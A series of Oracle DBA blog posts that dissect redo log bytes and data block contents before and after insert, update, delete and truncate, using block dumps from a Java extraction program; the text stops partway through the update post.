ContractOracle

Oracle Redo log contents for Insert to new table.

Mon, 2013-03-04 22:28

The following is an examination of the redo generated for an insert to a new table in a new datafile. It includes a comparison of the redo log dump, and actual byte contents of the log. To generate this output I ran :-

create table BBBBB (attribute1 char(5));

alter system switch logfile;
insert into BBBBB values ('AAAAA');
commit;
select vlf.member from v$log vl, v$logfile vlf where vl.group#=vlf.group# and vl.status = 'CURRENT';
alter system switch logfile;

ALTER SYSTEM DUMP LOGFILE 'D:\ORACLE\WIN64\ONLINELOG\O1_MF_3_8L5T3995_.LOG';

In the comparison the dump file output will be red, and the log byte value will be blue.

I ran the example on Windows, so the redo block size is 512 bytes.

I skipped the first block of the redo log, which contains the file header, and the second block, which contains the redo header. Output starts with the 3rd block, which contains the first redo record.

You can see in the output in red that the RBA (Redo Byte Address) where the first redo record starts is log sequence 9, block 2 (not including file header block) offset 16. The total length of the redo record is 668 bytes (not including the 16 byte block headers). The record also includes the VLD which defines redo record header size, SCN, SUBSCN, and Timestamp.

REDO RECORD - Thread:1 RBA: 0x000009.00000002.0010 LEN: 0x029c VLD: 0x0d

SCN: 0x0000.00110ad8 SUBSCN: 1 02/28/2013 16:19:07

# Each block starts with a 16 byte block header containing signature, block number sequence, offset and checksum.
01 22 Signature (the same in every block)
00 00
02 00 00 00 Block Number (2)
09 00 00 00 Sequence Number
10 Offset to redo record (16)
80
66 B2 CheckSum

# At offset 16 the Redo Record Header starts. For VLD 13 the header is 68 bytes containing VLD, SCN, and Timestamp.
9C 02 Redo Record Size (668)
00 00
0D 00 VLD (13)
00 00
D8 0A 11 00 SCN
01 00 00 00 Sub SCN
00 00 00 00
00 00 00 00
00 00 01 00
02 00 00 00
02 00 00 00
08 00 00 00
D7 0A 11 00 SCN
00 00 00 00
00 00 00 00
00 00 00 00
D9 0A 11 00 SCN
00 00 00 00
7B 1A 32 30 Timestamp

# The first change after the redo record header relates to a change to object 73524 in DBA (Database Block Address) 0x00415129. The block Class (CLS) is 1 (data block) and the Absolute File Number (AFN) is 1. The change is Operation (OP) 13.5 which is a "block format" prior to the insert.

CHANGE #1 TYP:1 CLS:1 AFN:1 DBA:0x00415129 OBJ:73524 SCN:0x0000.00110ad6 SEQ:1 OP:13.5 ENC:0 RBL:0
KTSFRBFMT (block format) redo: Segobjd: 0x00011f34 type: 1 itls: 2 cscn: 0x0000.00110ad6

# change record for OP 13.5 is 48 bytes
0D 05 OP (13.5)
01 00 CLS
01 00 AFN
01 00
29 51 41 00 DBA
D6 0A 11 00 00 00 SCN
DC 58
01 SEQ
01 TYP
34 1F
06 00
08 00 08 00
00 00
34 1F 01 00 SegObjd
01 00 type
02 00 itls
D6 0A 11 00 00 00 cscn
00 00

# The second change in the redo record is to the same object and block, consisting of operation 13.6 which is a "block link modify" "lock set" following the format.

CHANGE #2 TYP:0 CLS:1 AFN:1 DBA:0x00415129 OBJ:73524 SCN:0x0000.00110ad8 SEQ:1 OP:13.6 ENC:0 RBL:0
KTSFRBLNK (block link modify) redo: Opcode: LSET (lock set)
Next dba: 0x0041512a itli: 0

# change record for OP 13.6 is 40 bytes
0D 06 OP
01 00 CLS
01 00 AFN
01 00
29 51 41 00 DBA
D8 0A 11 00 00 00 SCN
0D 00
01 SEQ
00 TYP
34 1F
04 00
0C 00 02 00
00 00
2A 51 41 00 Next dba
00 00 00 00 itli

# The third change in the redo records is operation 13.6 which is a "block link modify" "lock write"

CHANGE #3 TYP:0 CLS:1 AFN:1 DBA:0x00415129 OBJ:73524 SCN:0x0000.00110ad8 SEQ:2 OP:13.6 ENC:0 RBL:0
KTSFRBLNK (block link modify) redo: Opcode: LWRT (lock write)
Next dba: 0x00000000 itli: 0

# change record for OP 13.6 is 40 bytes
0D 06 OP
01 00 CLS
01 00 AFN
01 00
29 51 41 00 DBA
D8 0A 11 00 00 00 SCN
DC 58
02 SEQ
00 TYP
34 1F
04 00
0C 00 03 00
00 00 00 00 Next dba
00 00 00 00 itli
00 00

# The fourth change in the redo record is operation 13.7 to maintain the block linked list (freelist) and high water mark (hwm).

CHANGE #4 TYP:0 CLS:4 AFN:1 DBA:0x00415128 OBJ:73524 SCN:0x0000.00110ac8 SEQ:1 OP:13.7 ENC:0 RBL:0
KTSFRGRP (fgb/shdr modify freelist) redo:
Opcode: HWMMV (move hwm)
NBK: 1
Opcode: LUPD_LLIST (link a list)
Slot no: 0, Count: 1
Flag: = 1 xid or slot0 ccnt: 0x0000.000.00000001 Head: 0x00415129 Tail: 0x00415129

# change record for OP 13.7 is 72 bytes
0D 07 OP
04 00 CLS
01 00 AFN
01 00
28 51 41 00 DBA
C8 0A 11 00 00 00 SCN
4C 4C
01 SEQ
00 TYP
34 1F
06 00
08 00
20 00 38 34
01 00 00 00
01 00 00 00
05 00 00 00
01 00 00 00
00 00 00 00
01 00 00 00
00 00 00 00
01 00 00 00
29 51 41 00 head
29 51 41 00 tail

# The fifth change in the redo record is OP 11.2 which is the actual redo for the insert to the newly formatted block. It contains details on the System Change Number (SCN), Transaction ID (xid), Undo Block Address (uba), table column and data.
# The xid is 8 bytes composed of Undo segment number(0x006) , Undo segment header transaction table slot (0x009), and sequence number wrap (0x0000032d).
# The uba is 8 bytes composed of DBA of undo block (0x00c00182), Sequence number (0x00ca), and Record number in block (0x20).

CHANGE #5 TYP:0 CLS:1 AFN:1 DBA:0x00415129 OBJ:73524 SCN:0x0000.00110ad8 SEQ:3 OP:11.2 ENC:0 RBL:0
KTB Redo
op: 0x01 ver: 0x01
compat bit: 4 (post-11) padding: 0
op: F xid: 0x0006.009.0000032d uba: 0x00c00182.00ca.20
KDO Op code: IRP row dependencies Disabled
xtype: XA flags: 0x00000000 bdba: 0x00415129 hdba: 0x00415128
itli: 1 ispac: 0 maxfr: 4863
tabn: 0 slot: 0(0x0) size/delt: 9
fb: --H-FL-- lb: 0x1 cc: 1
null: -
col 0: [ 5] 41 41 41 41 41

# change record for OP 11.2 is 112 bytes (will vary depending on table and data)
0B 02 OP
01 00 CLS
01 00 AFN
01 00
29 51 41 00 DBA
D8 0A 11 00 00 00 SCN
00 00
03 SEQ
00 TYP
34 1F
08 00
14 00 31 00
05 00 01 05
DC 58
06 00 09 00 2D 03 00 00 xid
82 01 C0 00 CA 00 20 00 uba
29 51 41 00 bdba
28 51 41 00 hdba
FF 12 maxfr
02 01
01 00 itli
00 00
2C 01
01 00
00 00
00 00 slot
00 00
00 00
00 00
00 00
00 00
00 00
00 00
00 00
09 00 size
00 00 lb
00 00
00 00
00 00
00 00
41 41 41 41 41 00 00 00 DATA (AAAAA)

# The sixth change is OP 5.2 containing SCN, uba.

CHANGE #6 TYP:0 CLS:27 AFN:3 DBA:0x00c000d0 OBJ:4294967295 SCN:0x0000.00110a95 SEQ:2 OP:5.2 ENC:0 RBL:0
ktudh redo: slt: 0x0009 sqn: 0x0000032d flg: 0x0012 siz: 108 fbi: 0
uba: 0x00c00182.00ca.20 pxid: 0x0000.000.00000000

# change record for OP 5.2 is 60 bytes
05 02 OP
1B 00 CLS
03 00 AFN
FF FF
D0 00 C0 00 DBA
95 0A 11 00 00 00 SCN
DC 58
02 SEQ
00 TYP
FF FF
04 00 20 00
09 00 slt
3A 00
2D 03 00 00 sqn
82 01 C0 00 CA 00 20 uba
00
12 00 flg
6C siz (108)
00
00 00 00 00
00 00 00 00
00 00 00 00

# The seventh change is OP 5.4 is the final commit, containing SCN, uba.

CHANGE #7 TYP:0 CLS:27 AFN:3 DBA:0x00c000d0 OBJ:4294967295 SCN:0x0000.00110ad8 SEQ:1 OP:5.4 ENC:0 RBL:0
ktucm redo: slt: 0x0009 sqn: 0x0000032d srt: 0 sta: 9 flg: 0x2 ktucf redo: uba: 0x00c00182.00ca.20 ext: 3 spc: 4250 fbi: 0

# change record for OP 5.4 is 72 bytes
05 04 OP
1B 00 CLS
03 00 AFN
FF FF
D0 00 C0 00 DBA
D8 0A 11 00 00 00 SCN
DC 58
01 SEQ
00 TYP
FF FF
08 00 14 00
10 00 04 00
09 00 00 00
2D 03 00 00 sqn
00 00
00 00 srt
09 00 sta
00 00
02 00 flg
00 00
82 01 C0 00 uba part 1

# The redo record did not fit into one 512 byte block, so now continues in block 3, which starts with a 16 byte header including offset.

# block header = 16 bytes
01 22 Signature
00 00
03 00 00 00 Block Number
09 00 00 00 Sequence Number
BC Offset
80
EE 58 CheckSum

# continuation of change 7 in new block
CA 00 20 00 uba part 2
03 00 ext
9A 10 spc
00 07 00 00
FB 12 2F 51

# The eighth and final change is OP 5.1 which is the undo record.

CHANGE #8 TYP:0 CLS:28 AFN:3 DBA:0x00c00182 OBJ:4294967295 SCN:0x0000.00110a95 SEQ:3 OP:5.1 ENC:0 RBL:0
ktudb redo: siz: 108 spc: 4360 flg: 0x0012 seq: 0x00ca rec: 0x20
xid: 0x0006.009.0000032d
ktubl redo: slt: 9 rci: 0 opc: 11.1 [objn: 73524 objd: 73524 tsn: 0]
Undo type: Regular undo Begin trans Last buffer split: No
Temp Object: No
Tablespace Undo: No
0x00000000 prev ctl uba: 0x00c00182.00ca.1d
prev ctl max cmt scn: 0x0000.00110540 prev tx cmt scn: 0x0000.00110544
txn start scn: 0x0000.00110ad1 logon user: 0 prev brb: 12583297 prev bcl: 0 BuExt idx: 0 flg2: 0
KDO undo record:
KTB Redo
op: 0x03 ver: 0x01
compat bit: 4 (post-11) padding: 0
op: Z
KDO Op code: DRP row dependencies Disabled
xtype: XA flags: 0x00000000 bdba: 0x00415129 hdba: 0x00415128
itli: 1 ispac: 0 maxfr: 4863
tabn: 0 slot: 0(0x0)
END OF REDO DUMP

# change record for OP 5.1 is 156 bytes
05 01 OP
1C 00 CLS
03 00 AFN
FF FF
82 01 C0 00 DBA
95 0A 11 00 00 00 SCN
00 00
03 SEQ
00 TYP
FF FF
0A 00 14 00
4C 00 02 00
14 00
00 00
6C siz (108)
00
08 11
12 00 flg
00 00
06 00 09 00 2D 03 00 00 xid
CA 00 seq
20 00 rec
34 1F 01 00 objn
34 1F 01 00 objd
00 00 00 00
00 00 00 00
0B 01 09 00
08 0C 01 00
00 00 00 00
82 01 C0 00 DBA
CA 00
1D 00
40 05 11 00 00 00 prev ctl max cmt scn
C0 00
44 05 11 00 00 00 prev tx cmt scn
00 00
00 00
00 00
D1 0A 11 00 00 00 txn start scn
00 00
81 01
C0 00
00 00 00 00
00 00 00 00
03 05
FF FF
29 51 41 00 bdba
28 51 41 00 hdba
FF 12 maxfr
03 01
01 00
00 00
00 00
00 58

Categories: DBA Blogs

A demonstration of Oracle row movement within a block.

Tue, 2013-02-26 02:37

The following is an investigation of what happens in the Oracle block when a record does not have room to grow.

SQL> create table TEST_TABLE(id integer, attribute1 varchar2(200)) tablespace test;

Table created.

SQL> select file_id, file_name from dba_data_files where tablespace_name = 'TEST';

FILE_ID
----------
FILE_NAME
----------------------------------------------------------------
5
D:\ORACLE\WIN64\DATAFILE\O1_MF_TEST_8LRBSQ59_.DBF

SQL> select object_id, data_object_id from dba_objects where object_name = 'TEST_TABLE';

OBJECT_ID DATA_OBJECT_ID
---------- --------------
73516 73516

SQL> insert into test_table values (1,'AAAAA');

1 row created.

SQL> insert into test_table values (2,'BBBBB');

1 row created.

SQL> commit;

Commit complete.

SQL> alter system checkpoint;

System altered.

SQL> select file_id, block_id, blocks, relative_fno from dba_extents where segme
nt_name = 'TEST_TABLE';

FILE_ID BLOCK_ID BLOCKS RELATIVE_FNO
---------- ---------- ---------- ------------
5 160 8 5

We extract the block contents using the following program :- http://blog.contractoracle.com/2013/02/java-program-to-extract-data-from.html

Block 163 Contains Object ID 73516
Block Header start :- 0
Block Type 06-DATA :- 06
Block Format :- A2
Spare1 :- 00
Spare2 :- 00
Relative Block Address :- 20971683
SCN Base :- 1075559
SCN Wrap :- 0
Sequence :- 01
Flag 01-NEW :- 06
CheckSum :- 32492
Spare3 :- 0
Transaction Header start :- 20
Type 01-DATA 02-INDEX :- 01
Spare 1 :- 00
Spare 2 :- 00
Spare 3 :- 00
Object ID :- 73516
Cleanout SCN Base :- 1075556
Cleanout SCN Wrap :- 0
Spare 4 :- 00
Spare 5 :- 00
ITL Slots :- 2
UNKNOWN Byte :- 00
Flag 00-FREE :- 32
ITL TX Feeelist Slot :- 00
Next Block On Free List :- 20971680
ITLSlot :- 1
Undo Segment :- 1
Undo Segment Slot :- 5
Transaction Sequence :- 633
Undo Block Address :- 12583566
Undo Sequence :- 165
Undo Record Number :- 23
Spare 1 :- 0
Flag :- 8194
_ktbitun :- 0
Base :- 1075559
ITLSlot :- 2
Undo Segment :- 0
Undo Segment Slot :- 0
Transaction Sequence :- 0
Undo Block Address :- 0
Undo Sequence :- 0
Undo Record Number :- 0
Spare 1 :- 0
Flag :- 0
_ktbitun :- 0
Base :- 0
Data Header start :- 100
Flags :- 00
Number of Tables :- 1
Number of Rows :- 2
Offset to Freespace Start :- -1
Offset to Freespace End :- 22
Available Space :- 8064
Available Space after Commit:- 8042
Table Directory start :-114
Table :- 1
Offset :- 0
Number of Rows :- 2
Total Number of Rows :- 2
Row Directory start :-118
Row Offset 1 :- 8076(+100)
Row Offset 2 :- 8064(+100)
1 Row Header start :-8176
Flags :- 2C Table Data
Lock Status :- 01
Number of Columns :- 2
Column 1 Bytes 2 Data :- C1 02
Column 2 Bytes 5 Data :- AAAAA
2 Row Header start :-8164
Flags :- 2C Table Data
Lock Status :- 01
Number of Columns :- 2
Column 1 Bytes 2 Data :- C1 03
Column 2 Bytes 5 Data :- BBBBB

From the above we can see that there are two rows in block 163, starting at bytes 8164 and 8176. The first record inserted (AAAAA) is at the end of the block, with no room to grow.

If we update the record with more data :-

SQL> update test_table set attribute1 = '012345678901234567890123456789012345678
9012345678901234567890123456789012345678901234567890' where attribute1 = 'AAAAA'
;

1 row updated.

SQL> commit;

Commit complete.

SQL> alter system checkpoint;

System altered.

We can now see that :-

1. the block SCNs and sequence have been updated
2. the block CheckSum has been updated
3. the Available Space in the block has decreased
4. the record that previously started at byte 8176 has now moved to byte 8066 to allow it to grow.

Block 163 Contains Object ID 73516
Block Header start :- 0
Block Type 06-DATA :- 06
Block Format :- A2
Spare1 :- 00
Spare2 :- 00
Relative Block Address :- 20971683
SCN Base :- 1075759
SCN Wrap :- 0
Sequence :- 02
Flag 01-NEW :- 06
CheckSum :- -25092
Spare3 :- 0
Transaction Header start :- 20
Type 01-DATA 02-INDEX :- 01
Spare 1 :- 00
Spare 2 :- 00
Spare 3 :- 00
Object ID :- 73516
Cleanout SCN Base :- 1075757
Cleanout SCN Wrap :- 0
Spare 4 :- 00
Spare 5 :- 00
ITL Slots :- 2
UNKNOWN Byte :- 00
Flag 00-FREE :- 32
ITL TX Feeelist Slot :- 00
Next Block On Free List :- 20971680
ITLSlot :- 1
Undo Segment :- 1
Undo Segment Slot :- 5
Transaction Sequence :- 633
Undo Block Address :- 12583566
Undo Sequence :- 165
Undo Record Number :- 23
Spare 1 :- 0
Flag :- -32768
_ktbitun :- 0
Base :- 1075559
ITLSlot :- 2
Undo Segment :- 7
Undo Segment Slot :- 22
Transaction Sequence :- 605
Undo Block Address :- 12583559
Undo Sequence :- 222
Undo Record Number :- 49
Spare 1 :- 0
Flag :- 8193
_ktbitun :- 0
Base :- 1075759
Data Header start :- 100
Flags :- 00
Number of Tables :- 1
Number of Rows :- 2
Offset to Freespace Start :- -1
Offset to Freespace End :- 22
Available Space :- 7966
Available Space after Commit:- 7956
Table Directory start :-114
Table :- 1
Offset :- 0
Number of Rows :- 2
Total Number of Rows :- 2
Row Directory start :-118
Row Offset 1 :- 7966(+100)
Row Offset 2 :- 8064(+100)
1 Row Header start :-8066
Flags :- 2C Table Data
Lock Status :- 02
Number of Columns :- 2
Column 1 Bytes 2 Data :- C1 02
Column 2 Bytes 91 Data :- 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890
2 Row Header start :-8164
Flags :- 2C Table Data
Lock Status :- 00
Number of Columns :- 2
Column 1 Bytes 2 Data :- C1 03
Column 2 Bytes 5 Data :- BBBBB

Categories: DBA Blogs

What happens to Oracle data blocks during Truncate.

Tue, 2013-02-26 02:05

The following is an investigation of what happens during an Oracle table truncate. First we create a table and insert two records.

SQL> create table TEST_TABLE(id integer, attribute1 char(5), attribute2 varchar2 (5)) tablespace test;

Table created.

SQL> select file_id, file_name from dba_data_files where tablespace_name = 'TEST';

FILE_ID
----------
FILE_NAME
-----------------------------------------------------------------
5
D:\ORACLE\WIN64\DATAFILE\O1_MF_TEST_8LRBSQ59_.DBF

SQL> select object_id, data_object_id from dba_objects where object_name = 'TEST_TABLE';

OBJECT_ID DATA_OBJECT_ID
---------- --------------
73514 73514

SQL> insert into test_table values (1,'AAAAA','BBB');

1 row created.

SQL> insert into test_table values (2,'CCCCC','DDDDD');

1 row created.

SQL> commit;

Commit complete.

SQL> alter system checkpoint;

System altered.

SQL> select file_id, block_id, blocks, relative_fno from dba_extents where segment_name = 'TEST_TABLE';

FILE_ID BLOCK_ID BLOCKS RELATIVE_FNO
---------- ---------- ---------- ------------
5 152 8 5

We can find the data for the table in file 5 in an extent starting at block 152. When we scan for the data, we find that the records we inserted are in block 155, with empty blocks 156,7,8,9. The following output is from :- http://blog.contractoracle.com/2013/02/java-program-to-extract-data-from.html

Block 155 Contains Object ID 73514Block Header start :- 0 Block Type 06-DATA :- 06 Block Format :- A2 Spare1 :- 00 Spare2 :- 00 Relative Block Address :- 20971675 SCN Base :- 1074483 SCN Wrap :- 0 Sequence :- 01 Flag 01-NEW :- 06 CheckSum :- 14737 Spare3 :- 0Transaction Header start :- 20 Type 01-DATA 02-INDEX :- 01 Spare 1 :- 00 Spare 2 :- 00 Spare 3 :- 00 Object ID :- 73514 Cleanout SCN Base :- 1074478 Cleanout SCN Wrap :- 0 Spare 4 :- 00 Spare 5 :- 00 ITL Slots :- 2 UNKNOWN Byte :- 00 Flag 00-FREE :- 32 ITL TX Feeelist Slot :- 00 Next Block On Free List :- 20971672ITLSlot :- 1 Undo Segment :- 1 Undo Segment Slot :- 14 Transaction Sequence :- 632 Undo Block Address :- 12583042 Undo Sequence :- 162 Undo Record Number :- 51 Spare 1 :- 0 Flag :- 8194 _ktbitun :- 0 Base :- 1074483ITLSlot :- 2 Undo Segment :- 0 Undo Segment Slot :- 0 Transaction Sequence :- 0 Undo Block Address :- 0 Undo Sequence :- 0 Undo Record Number :- 0 Spare 1 :- 0 Flag :- 0 _ktbitun :- 0 Base :- 0Data Header start :- 100 Flags :- 00 Number of Tables :- 1 Number of Rows :- 2 Offset to Freespace Start :- -1 Offset to Freespace End :- 22 Available Space :- 8054 Available Space after Commit:- 8032Table Directory start :-114 Table :- 1 Offset :- 0 Number of Rows :- 2 Total Number of Rows :- 2Row Directory start :-118 Row Offset 1 :- 8072(+100) Row Offset 2 :- 8054(+100)1 Row Header start :-8172 Flags :- 2C Table Data Lock Status :- 01 Number of Columns :- 3Column 1 Bytes 2 Data :- C1 02 Column 2 Bytes 5 Data :- AAAAAColumn 3 Bytes 3 Data :- BBB2 Row Header start :-8154 Flags :- 2C Table Data Lock Status :- 01 Number of Columns :- 3Column 1 Bytes 2 Data :- C1 03 Column 2 Bytes 5 Data :- CCCCCColumn 3 Bytes 5 Data :- DDDDD
Block 156 Contains Object ID 73514Block 157 Contains Object ID 73514Block 158 Contains Object ID 73514Block 159 Contains Object ID 73514
Now we truncate the table. Selecting from the data dictionary table we can see that the data blocks listed in DBA_EXTENTS did not change, but in DBA_OBJECTS the DATA_OBJECT_ID was updated.

SQL> truncate table test_table;
Table truncated.
SQL> alter system checkpoint;
System altered.
SQL> select * from test_table;

no rows selected

SQL> select object_id, data_object_id from dba_objects where object_name = 'TEST_TABLE';
OBJECT_ID DATA_OBJECT_ID---------- -------------- 73514 73515
SQL> select file_id, block_id, blocks, relative_fno from dba_extents where segment_name = 'TEST_TABLE';
FILE_ID BLOCK_ID BLOCKS RELATIVE_FNO---------- ---------- ---------- ------------ 5 152 8 5
If we again scan for blocks associated with the old DATA_OBJECT_ID 73514 we can see that they are unchanged and still have the original data in them. This means that even after a table is truncated, the data remains in the blocks on disk, and could be extracted (until the blocks are overwritten).

Block 155 Contains Object ID 73514
Block Header start :- 0
Block Type 06-DATA :- 06
Block Format :- A2
Spare1 :- 00
Spare2 :- 00
Relative Block Address :- 20971675
SCN Base :- 1074483
SCN Wrap :- 0
Sequence :- 01
Flag 01-NEW :- 06
CheckSum :- 14737
Spare3 :- 0
Transaction Header start :- 20
Type 01-DATA 02-INDEX :- 01
Spare 1 :- 00
Spare 2 :- 00
Spare 3 :- 00
Object ID :- 73514
Cleanout SCN Base :- 1074478
Cleanout SCN Wrap :- 0
Spare 4 :- 00
Spare 5 :- 00
ITL Slots :- 2
UNKNOWN Byte :- 00
Flag 00-FREE :- 32
ITL TX Feeelist Slot :- 00
Next Block On Free List :- 20971672
ITLSlot :- 1
Undo Segment :- 1
Undo Segment Slot :- 14
Transaction Sequence :- 632
Undo Block Address :- 12583042
Undo Sequence :- 162
Undo Record Number :- 51
Spare 1 :- 0
Flag :- 8194
_ktbitun :- 0
Base :- 1074483
ITLSlot :- 2
Undo Segment :- 0
Undo Segment Slot :- 0
Transaction Sequence :- 0
Undo Block Address :- 0
Undo Sequence :- 0
Undo Record Number :- 0
Spare 1 :- 0
Flag :- 0
_ktbitun :- 0
Base :- 0
Data Header start :- 100
Flags :- 00
Number of Tables :- 1
Number of Rows :- 2
Offset to Freespace Start :- -1
Offset to Freespace End :- 22
Available Space :- 8054
Available Space after Commit:- 8032
Table Directory start :-114
Table :- 1
Offset :- 0
Number of Rows :- 2
Total Number of Rows :- 2
Row Directory start :-118
Row Offset 1 :- 8072(+100)
Row Offset 2 :- 8054(+100)
1 Row Header start :-8172
Flags :- 2C Table Data
Lock Status :- 01
Number of Columns :- 3
Column 1 Bytes 2 Data :- C1 02
Column 2 Bytes 5 Data :- AAAAA
Column 3 Bytes 3 Data :- BBB
2 Row Header start :-8154
Flags :- 2C Table Data
Lock Status :- 01
Number of Columns :- 3
Column 1 Bytes 2 Data :- C1 03
Column 2 Bytes 5 Data :- CCCCC
Column 3 Bytes 5 Data :- DDDDD

Block 156 Contains Object ID 73514
Block 157 Contains Object ID 73514
Block 158 Contains Object ID 73514
Block 159 Contains Object ID 73514

Categories: DBA Blogs

What happens in an Oracle block during a delete.

Tue, 2013-02-26 01:23

The following is an investigation of what happens in the Oracle database block when a record is deleted. First we create a table with 2 rows.

SQL> create table TEST_TABLE(id integer, attribute1 char(5), attribute2 varchar2 (5)) tablespace test;

Table created.

SQL> select file_id, file_name from dba_data_files where tablespace_name = 'TEST';

FILE_ID
----------
FILE_NAME
----------------------------------------------------------------
5
D:\ORACLE\WIN64\DATAFILE\O1_MF_TEST_8LRBSQ59_.DBF

SQL> select object_id, data_object_id from dba_objects where object_name = 'TEST_TABLE';

OBJECT_ID DATA_OBJECT_ID
---------- --------------
73513 73513

SQL> insert into test_table values (1,'AAAAA','BBB');

1 row created.

SQL> insert into test_table values (2,'CCCCC','DDDDD');

1 row created.

SQL> commit;

Commit complete.

SQL> select file_id, block_id, blocks, relative_fno from dba_extents where segment_name = 'TEST_TABLE';

FILE_ID BLOCK_ID BLOCKS RELATIVE_FNO
---------- ---------- ---------- ------------
5 144 8 5

SQL> alter system checkpoint;

System altered.

When we scan the file for data object ID 73513 we find the data in block 150. The following block data was extracted using :- http://blog.contractoracle.com/2013/02/java-program-to-extract-data-from.html

Block 150 Contains Object ID 73513
Block Header start :- 0
Block Type 06-DATA :- 06
Block Format :- A2
Spare1 :- 00
Spare2 :- 00
Relative Block Address :- 20971670
SCN Base :- 1073062
SCN Wrap :- 0
Sequence :- 01
Flag 01-NEW :- 06
CheckSum :- 14473
Spare3 :- 0
Transaction Header start :- 20
Type 01-DATA 02-INDEX :- 01
Spare 1 :- 00
Spare 2 :- 00
Spare 3 :- 00
Object ID :- 73513
Cleanout SCN Base :- 1073058
Cleanout SCN Wrap :- 0
Spare 4 :- 00
Spare 5 :- 00
ITL Slots :- 2
UNKNOWN Byte :- 00
Flag 00-FREE :- 32
ITL TX Feeelist Slot :- 00
Next Block On Free List :- 20971664
ITLSlot :- 1
Undo Segment :- 5
Undo Segment Slot :- 33
Transaction Sequence :- 814
Undo Block Address :- 12583110
Undo Sequence :- 169
Undo Record Number :- 6
Spare 1 :- 0
Flag :- 8194
_ktbitun :- 0
Base :- 1073062
ITLSlot :- 2
Undo Segment :- 0
Undo Segment Slot :- 0
Transaction Sequence :- 0
Undo Block Address :- 0
Undo Sequence :- 0
Undo Record Number :- 0
Spare 1 :- 0
Flag :- 0
_ktbitun :- 0
Base :- 0
Data Header start :- 100
Flags :- 00
Number of Tables :- 1
Number of Rows :- 2
Offset to Freespace Start :- -1
Offset to Freespace End :- 22
Available Space :- 8054
Available Space after Commit:- 8032
Table Directory start :-114
Table :- 1
Offset :- 0
Number of Rows :- 2
Total Number of Rows :- 2
Row Directory start :-118
Row Offset 1 :- 8072(+100)
Row Offset 2 :- 8054(+100)
1 Row Header start :-8172
Flags :- 2C Table Data
Lock Status :- 01
Number of Columns :- 3
Column 1 Bytes 2 Data :- C1 02
Column 2 Bytes 5 Data :- AAAAA
Column 3 Bytes 3 Data :- BBB
2 Row Header start :-8154
Flags :- 2C Table Data
Lock Status :- 01
Number of Columns :- 3
Column 1 Bytes 2 Data :- C1 03
Column 2 Bytes 5 Data :- CCCCC
Column 3 Bytes 5 Data :- DDDDD

Now we delete one row :-

SQL> delete from test_table where id = 1;

1 row deleted.

SQL> commit;

Commit complete.

SQL> select * from test_table;

ID ATTRI ATTRI
---------- ----- -----
2 CCCCC DDDDD

SQL> alter system checkpoint;

System altered.

And we can extract the block data again and confirm that the result of the delete is that :-
1. the block SCNs and Sequence have been updated2. the block CheckSum has been updated3. ITL Slot 2 was used for the transaction4. ITL Slot 1 flag was set to -32768 (unused)5. The row header flag was updated from 2C to 3C6. The row header lock status was updated to 02
Note that the delete did not actually remove the record from the block, it just updated the row flag. This means that even if a record has been deleted from an Oracle database table is possible to read the data for the deleted record directly from the block (until it is overwritten).

Block 150 Contains Object ID 73513
Block Header start :- 0
Block Type 06-DATA :- 06
Block Format :- A2
Spare1 :- 00
Spare2 :- 00
Relative Block Address :- 20971670
SCN Base :- 1073294
SCN Wrap :- 0
Sequence :- 02
Flag 01-NEW :- 06
CheckSum :- -6419
Spare3 :- 0
Transaction Header start :- 20
Type 01-DATA 02-INDEX :- 01
Spare 1 :- 00
Spare 2 :- 00
Spare 3 :- 00
Object ID :- 73513
Cleanout SCN Base :- 1073292
Cleanout SCN Wrap :- 0
Spare 4 :- 00
Spare 5 :- 00
ITL Slots :- 2
UNKNOWN Byte :- 00
Flag 00-FREE :- 32
ITL TX Feeelist Slot :- 00
Next Block On Free List :- 20971664
ITLSlot :- 1
Undo Segment :- 5
Undo Segment Slot :- 33
Transaction Sequence :- 814
Undo Block Address :- 12583110
Undo Sequence :- 169
Undo Record Number :- 6
Spare 1 :- 0
Flag :- -32768
_ktbitun :- 0
Base :- 1073062
ITLSlot :- 2
Undo Segment :- 6
Undo Segment Slot :- 27
Transaction Sequence :- 797
Undo Block Address :- 12583068
Undo Sequence :- 174
Undo Record Number :- 43
Spare 1 :- 0
Flag :- 8193
_ktbitun :- 14
Base :- 1073294
Data Header start :- 100
Flags :- 00
Number of Tables :- 1
Number of Rows :- 2
Offset to Freespace Start :- -1
Offset to Freespace End :- 22
Available Space :- 8054
Available Space after Commit:- 8032
Table Directory start :-114
Table :- 1
Offset :- 0
Number of Rows :- 2
Total Number of Rows :- 2
Row Directory start :-118
Row Offset 1 :- 8072(+100)
Row Offset 2 :- 8054(+100)
1 Row Header start :-8172
Flags :- 3C Deleted
Lock Status :- 02
Number of Columns :- 3
Column 1 Bytes 2 Data :- C1 02
Column 2 Bytes 5 Data :- AAAAA
Column 3 Bytes 3 Data :- BBB
2 Row Header start :-8154
Flags :- 2C Table Data
Lock Status :- 00
Number of Columns :- 3
Column 1 Bytes 2 Data :- C1 03
Column 2 Bytes 5 Data :- CCCCC
Column 3 Bytes 5 Data :- DDDDD

Categories: DBA Blogs

What happens in an Oracle Block during an update.

Tue, 2013-02-26 00:50

The following is an investigation of what happens in an Oracle datafile block during an update. First we create a simple table with two rows.

SQL> create table TEST_TABLE(id integer, attribute1 char(5), attribute2 varchar2(5)) tablespace test;

Table created.

SQL> select file_id, file_name from dba_data_files where tablespace_name = 'TEST';

FILE_ID
----------
FILE_NAME
-----------------------------------------------------------------
5
D:\ORACLE\WIN64\DATAFILE\O1_MF_TEST_8LRBSQ59_.DBF

SQL> select object_id, data_object_id from dba_objects where object_name = 'TEST
_TABLE';

OBJECT_ID DATA_OBJECT_ID
---------- --------------
73512 73512

SQL> insert into test_table values (1,'AAAAA','BBB');

1 row created.

SQL> commit;

Commit complete.

SQL> insert into test_table values (2,'CCCCC','DDDDD');

1 row created.

SQL> commit;

Commit complete.

SQL> select file_id, block_id, blocks, relative_fno from dba_extents where segme
nt_name = 'TEST_TABLE';

FILE_ID BLOCK_ID BLOCKS RELATIVE_FNO
---------- ---------- ---------- ------------
5 136 8 5

SQL> alter system checkpoint;

System altered.

The table we are working on for this test is stored in file 5 with extent starting at block 136 in blocks with DATA_OBJECT_ID 73512 . When we scan the file for blocks with data object ID 73512 we can see that the rows we are interested in are in block 139. Two ITL Slots have been created in the block.

The following block data was extracted using :- http://blog.contractoracle.com/2013/02/java-program-to-extract-data-from.html

Block 139 Contains Object ID 73512
Block Header start :- 0
Block Type 06-DATA :- 06
Block Format :- A2
Spare1 :- 00
Spare2 :- 00
Relative Block Address :- 20971659
SCN Base :- 1072047
SCN Wrap :- 0
Sequence :- 02
Flag 01-NEW :- 06
CheckSum :- 17170
Spare3 :- 0
